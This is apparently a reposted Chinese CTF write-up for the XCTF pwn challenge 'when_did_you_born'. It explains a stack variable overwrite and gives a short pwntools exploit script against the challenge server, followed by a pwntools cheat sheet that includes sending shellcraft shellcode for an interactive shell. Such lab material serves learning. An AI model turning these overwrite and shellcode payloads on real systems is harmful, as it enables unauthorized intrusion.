ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

day-5

2019-09-25 23:56:16  阅读:396  来源: 互联网

标签:ELF write 地址 1926 cnn 接收 day


xctf-when_did_you_born

题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051

checksec文件:

 

 

 

 没啥,ida打开:

 

 第一个判断v5应该不等于1926,第二次判断应该等于1926,看到v4,双击进入,可以查看到v5和v4都是同一stack下的,用v4覆盖v5的位置,实现第二个判断为1926。

在最上面定义可以看到,相对偏移为8。

构造exp:

from pwn import *



#cnn = process('./when_did_you_born')

cnn = remote('111.198.29.45',33487)



payload = 'a'*8+p64(1926)



cnn.recvuntil('Your Birth?')

cnn.sendline('1926')



cnn.sendline(payload)



cnn.interactive() 

 

运行一下,可以得到flag:

 

 

总结:唔。。。这是昨天的升级版。

 

额外小知识:

# Pwntools环境预设
from pwn import *
context.arch = "amd64/i386"                             #指定系统架构
context.terminal = ["tmux,"splitw","-h"]     #指定分屏终端
context.os = "linux"                                     #context用于预设环境

# 库信息
elf = ELF('./PWNME')                        # ELF载入当前程序的ELF,以获取符号表,代码段,段地址,plt,got信息
libc = ELF('lib/i386-linux-gnu/libc-2.23.so')     # 载入libc的库,可以通过vmmap查看
/*
首先使用ELF()获取文件的句柄,然后使用这个句柄调用函数,如
>>> e = ELF('/bin/cat')
>>> print hex(e.address)    # 文件装载的基地址
>>> print hex(e.symbols['write']) # plt中write函数地址
>>> print hex(e.got['write'])     # GOT表中write符号的地址
>>> print hex(e.plt['write'])       # PLT表中write符号的地址                    
*/                                       

# Pwntools通信                    
p = process('./pwnme')                      # 本地 process与程序交互
r = remote('exploitme.example.com',3333)          # 远程

# 交互
recv()          # 接收数据,一直接收
recv(numb=4096,timeout=default) # 指定接收字节数与超时时间                    
recvuntil("111")     # 接收到111结束,可以裁剪,如.[1:4]
recbline()      # 接收到换行结束
recvline(n)     # 接收到n个换行结束
recvall()           # 接收到EOF
recvrepeat(timeout=default) #接收到EOF或timeout
send(data)      # 发送数据
sendline(data)      # 发送一行数据,在末尾会加\n
sendlineafter(delims,data) #   在程序接收到delims再发送data                  
r.send(asm(shellcraft.sh()))                          # 信息通信交互                                       
r.interactive()                              # send payload后接收当前的shell

# 字符串与地址的转换
p64(),p32()  #将字符串转化为ascii字节流
u64(),u32()  #将ascii的字节流解包为字符串地址   

 

标签:ELF,write,地址,1926,cnn,接收,day
来源: https://www.cnblogs.com/yidianhan/p/11583561.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有